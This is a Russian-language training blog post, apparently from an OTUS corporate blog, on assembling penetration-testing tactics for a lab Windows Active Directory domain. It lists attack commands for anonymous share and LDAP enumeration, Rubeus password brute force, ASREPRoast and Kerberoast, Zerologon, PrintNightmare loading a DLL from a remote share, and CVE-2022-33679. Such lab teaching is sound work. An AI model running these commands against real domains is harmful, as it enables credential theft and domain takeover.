Pull to refresh
611.14
OTUS
Цифровые навыки от ведущих экспертов

Тактики для тестирования на проникновение

Level of difficultyEasy
Reading time5 min
Views3.3K
Автор статьи: Александр Колесников

Вирусный аналитик

При обучении тестированию на проникновения возникает ситуация, когда необходимо от разрозненных статей и материалов переходить к полноценной процедуре исследования инфраструктуры и поиска уязвимостей. В этой статье попробуем собрать данные, которые позволят сделать набор предположений для проведения тестирования на проникновение системы Windows AD.

Тестировать гипотезы можно будет на собственной виртуальной инфраструктуре. Для развертывания инфраструктуры AD можно использовать сразу два проекта:

Для создания тестового стенда достаточно просто запустить по очереди скрипты и дождаться завершения их работы. В итоге получится инфраструктура, которую немного подзапустили, раздули до максимально неприличного формата и среди этого нам нужно найти способ как повысить свои привелегии до владельца системы. И что самое ценное - мы ничего не знаем об этой системе так как с каждым запуском конфигурация будет меняться.

Наверное даже больше чем набор гипотез для тестирования на проникновения очень важно рабочее место, поэтому в качестве системы для тестирования на проникновение возьмем операционную систему windows 10/11 и установим на нее WSL2 подсистему. Для этого будем использовать VirtualBox образ, который предоставляется здесь. Вообще, чтобы заработала операционная система на все 100% под задачи пентеста, то можно использовать вот этот репозиторий.

Теперь подключаемся к сети, где находится контроллер домена и ищем тактику, которая нам даст возможность получить административные права.

Собирать тактики тестирования на проникновение можно 2 способами:

  1. Пользоваться поисковиком и искать howto от исследователей.

  2. Можно воспользоваться опытом атак, которые проводились на реальных системах.

Одна из баз знаний, которая старается систематизировать знания о реальных примерах атак на информационные системы это MITRE ATT&CK. Для удобства, все атаки систематизированы по платформе и этапу проведения атаки.

Из-за особенности проведения тестирования на проникновение использовать все данные подряд нет нужды, поэтому можно просто выбирать те действия, которые наиболее точно подходят под наши условия проведения тестирования на проникновения. Попробуем собрать эти данные для тестирования внутри сети, когда у пользователя есть минимальный доступ, либо просто подключение к локальной сети.

Чтобы не теряться в таком большом объеме информации нужно помнить, что нам необходимы только основные команды и инструменты, остальное можно будет изучить и найти отдельно.

Для еще более четкого поиска данных для использования добавим условие, что атаки или действия, которые нам нужно предпринять должны затрачивать как можно меньше времени и должны максимальо использовать стандартные механизмы работы операционной системы или инфраструктуры.

В итоге, можно собрать вот такой набор тактик.

Тактики набор №1

Тактика включает в себя использование наиболее простых и хорошо изученных в сообществе атак. Они обычно выполняются либо стандартным функционалом операционной системы, либо очень древними бесплатными open source инструментами. список атак:

  1. хранение паролей пользователей открытом виде на файловых хранилищах в ОС

  2. атаки ASREPROASTING и KERBEROASTING

  3. слабые пароли учетных записей пользователей:

Атаки под номерами 1 и 3 могут быть выполнены без доступа к учетным записям инфраструктуры, если доступ к внутренней сети не ограничен. Атаку 1 можно произвести путем поиска шар через инструмент crackmapexec:

cme smb 192.168.56.* -u '' -p ''

В случае успеха будут найдены файловые шары, которые не требуют логина и пароля из AD, в противном случае придется сначала раздобыть любую учетку для доступа к инфраструктуре. Затем можно вернуться к команде выше и продолжить собирать данные о системах.

Атака под номером 3 может быть реализована путем подготовки набора логинов пользователей, которые находятся в сети и списка наиболее популярных паролей. Сами действия с перебором паролей можно выполнить с помощью вот этой утилиты. Для конкретных пользователей:

.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

Либо можно просто по всем пользователям в инфраструктуре:

.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

Атака под номером 1 реализуется путем сбора данных об учетных записях в системе, обычно это выполняется через протокол LDAP, единственным препятствием к этому может стать отсутствие возможности анонимного подключения к сереверу. А сам сбор можно вести большим спектром инструментов, один из них это ldapsearch.

ldapsearch -x -b "dc=lab,dc=com" "*" -h 192.168.56.10

Обычное место, где может оказаться пароль это поле данных description.

Атаки под номером 2 могут быть реализованы только в случае нахождения правильной пары для пользователя в AD, но их выполнять может быть намного проще. В некоторых случаях можно даже не отличить сами атаки, реализуются они за счет использования инструментов Rubeus или impacket:

#ASREPROAST
python GetNPUsers.py lab.com/testUser:123123123 -request
#KERBEROAST
python GetUserSPNs.py lab.com/testUser:123123123 -outputfile hash.txt

Так же беглым поискам по баще можно набрать и более продвинутые техники и подходы к реализации атак на инфраструктуру AD.

Тактики набор №2

Более сложные действия, которые могут потребовать особых исходных условий, но так же являются достаточно популярными и быстрыми. Речь идет о эксплойтах, которые максимально быстро проводят атаку и позволяют получить админа.

  1. Zerologon

  2. PrinterNightmare

  3. Coerced methods

  4. CVE-2022-33679

Все перечисленные эксплойты являются либо способом старта механизма аутентификации, либо способом получения доступа к пользовательским учетным записям без предоставления валидной пары логина и пароля.

Атака под номером 1 должна выполняться с особенным вниманием, применение её в продакшене может повлесь выход из строя контроллера домена. Атака менет пароль от учетной записи машины котроллера домена, поэтому нужно либо восстанавливать его, либо выбирать в качестве чели атаки менне привелегированного пользователя в системе. Работает скрипт достаточно просто:

cve-2020-1472-exploit.py -n DC1 -t 192.168.56.10

Атака под номером 2 использует в качестве основного вектора - функционал, который заложен в работу сервиса печати. Если не установлен патч и сервис доступен в сети, то можно заставить сервис загрузить исполняемый файл из указанного места. Атака требует, чтобы на системе атакующего или на файловой шаре в сети оказался тот самый файл, с которым будет работать эксплойт.

.\PrintNightmare.exe 192.168.56.10 \\192.168.56.12\test\MyExploit.dll testUser 123123123

Атака под номером 4 является просто модификацией KRBEROASTING атаки и будет работать только в случае, если у пользователя включена неограниченная делегация в учетной записи. Работает так же просто:

CVE-2022-33079.py lab.com/testUser DC1

После успешного выполнения эксплойта в распоряжении пользователя оказывается ticket пользователя для которого был запущен скрипт.

Последняя атака под номером 3 является по сути инструментом, который может помочь, если для проведения каких-либо активных действий требуется, чтобы пользователь начал взаимодействие с системой атакующего. Это может быть полезно при Relay атаках.

Сбор этого набора потребовал более пристального изучения примеров действий, которые выполняют злоумышленники.

Вот так используя базу MITRE ATT&CK можно собрать набор тактик и действий, которые могут помочь начать процесс тестирования на проникновение.
В качестве самостоятельной работы читателю предлагается найти способы атак на систему, при которых производится так называемое "Боковое перемещение".

В завершение приглашаю всех на бесплатный урок где мы изучим основные наборы привилегий, которые позволяют проводить атаки на AD.

Tags:
Hubs:
Total votes 7: ↑7 and ↓0+7
Comments1

Articles

Information

Website
otus.ru
Registered
Founded
Employees
101–200 employees
Location
Россия
Representative
OTUS